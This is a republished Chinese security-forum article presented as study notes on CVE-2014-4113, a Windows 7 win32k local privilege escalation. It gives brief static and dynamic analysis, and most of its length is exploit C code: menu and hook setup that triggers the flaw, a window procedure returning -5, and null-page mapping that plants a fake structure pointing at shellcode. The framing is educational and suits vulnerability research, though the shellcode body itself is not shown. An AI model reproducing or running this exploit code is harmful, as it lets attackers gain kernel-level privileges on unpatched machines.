本文为看雪论坛优秀
看雪论坛作者ID:1900 文章
一
前言
1.漏洞描述
2.实验环境
-
操作系统:Win7 x86 sp1 专业版
-
编译器:Visual Studio 2017
-
调试器:IDA Pro,WinDbg
二
漏洞分析
1.静态分析
.text:BF8B94E8 push [ebp+Src]
.text:BF8B94EB push dword ptr [ebp+UnicodeString]
.text:BF8B94EE push ebx
.text:BF8B94EF push esi
.text:BF8B94F0 call dword ptr [esi+60h]
.text:BF8B94F3 mov ecx, [ebp+arg_18]
.text:BF8B94F6 test ecx, ecx
.text:BF8B94F8 jz loc_BF8B9591
.text:BF9395E4 push eax ; Src
.text:BF9395E5 lea eax, [ebp+UnicodeString]
.text:BF9395E8 push eax ; UnicodeString
.text:BF9395E9 push 1EBh ; MbString
.text:BF9395EE push dword ptr [edi+0Ch] ; P
.text:BF9395F1 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF9395F6 mov esi, eax
2.动态分析
kd> g
Breakpoint 0 hit
win32k!xxxMNFindWindowFromPoint+0x53:
838995f1 e8a7fff7ff call win32k!xxxSendMessage (8381959d)
kd> p
win32k!xxxMNFindWindowFromPoint+0x58:
838995f6 8bf0 mov esi,eax
kd> r eax
eax=fffffffb
三
漏洞利用
BOOL TrackPopupMenu(HMENU hMenu,
UINT uFlags,
int x,
int y,
int nReserved,
HWND hWnd,
const RECT* prcRect);
HWND hWnd = NULL;
WNDCLASS wc = { 0 };
HMENU hMenu1 = NULL, hMenu2 = NULL;
MENUITEMINFO Item1 = { 0 }, Item2 = { 0 };
memset(&wc, 0, sizeof(wc));
wc.hInstance = GetModuleHandle(NULL);
wc.lpfnWndProc = WndProc;
wc.lpszClassName = "1900";
if (!RegisterClassA(&wc))
{
ShowError("RegisterClassA", GetLastError());
bRet = FALSE;
goto exit;
}
hWnd = CreateWindowA(wc.lpszClassName,
"",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0,
0,
640,
480,
NULL,
NULL,
wc.hInstance,
NULL);
if (!hWnd)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
hMenu1 = CreatePopupMenu();
if (!hMenu1)
{
ShowError("CreatePopupMenu", GetLastError());
bRet = FALSE;
goto exit;
}
memset(&Item1, 0, sizeof(Item1));
memset(&Item2, 0, sizeof(Item2));
Item1.cbSize = sizeof(Item1);
Item1.fMask = MIIM_STRING;
if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
{
ShowError("InsertMenuItemA 1", GetLastError());
bRet = FALSE;
goto exit;
}
hMenu2 = CreatePopupMenu();
if (!hMenu2)
{
ShowError("CreatePopupMenu 2", GetLastError());
bRet = FALSE;
goto exit;
}
Item2.fMask = MIIM_STRING | MIIM_SUBMENU;
Item2.dwTypeData = "";
Item2.cch = 1;
Item2.hSubMenu = hMenu1;
Item2.cbSize = sizeof(Item2);
if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
{
ShowError("InsertMenuItemA 2", GetLastError());
bRet = FALSE;
goto exit;
}
// 触发漏洞
if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL))
{
ShowError("TrackPopupMenu", GetLastError());
bRet = FALSE;
goto exit;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
// 如果窗口处于空间状态
if (uMsg == WM_ENTERIDLE)
{
PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
}
return DefWindowProcA(hWnd, uMsg, wParam, lParam);
}
HHOOK winHook = SetWindowsHookExA(WH_CALLWNDPROC,
WndProcHook,
NULL,
GetCurrentThreadId());
if (winHook == NULL)
{
ShowError("SetWindowsHookExA", GetLastError());
bRet = FALSE;
goto exit;
}
LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *pWndProcArgs = (CWPSTRUCT *)lParam;
if (pWndProcArgs->message == 0x1EB)
{
if (UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
{
lpPrevWndFunc = (WNDPROC)SetWindowLongA(pWndProcArgs->hwnd,
GWL_WNDPROC,
(LONG)MenuWndProc);
if (lpPrevWndFunc == 0)
{
ShowError("SetWindowLongA", GetLastError());
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
LRESULT CALLBACK MenuWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == 0x1EB)
{
EndMenu();
return -5;
}
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam);
}
BOOL Init()
{
BOOL bRet = TRUE;
// 在0地址申请内存成功
if (AllocateZeroMemory())
{
*(DWORD*)(0x3) = GetPtiCurrent();
*(BYTE*)(0x11) = (BYTE)4;
*(DWORD*)(0x5B) = (DWORD)ShellCode;
}
else bRet = FALSE;
return bRet;
}
DWORD GetPtiCurrent()
{
__asm
{
mov eax, fs:[0x18]
mov eax, [eax + 0x40]
}
}
四
运行结果
参考资料:
[原创]CVE-2014-4113分析及Exploit逆(https://bbs.pediy.com/thread-198194.htm)
[原创]CVE-2014-4113本地提权漏洞分析(https://bbs.pediy.com/thread-207996.htm)
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
2.关于黑客泄漏nvidia Windows显卡驱动代码分析
5.通过DWARF Expression将代码隐藏在栈展开过程中
6.x86-页式管理
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):CVE-2014-4113提权漏洞学习笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论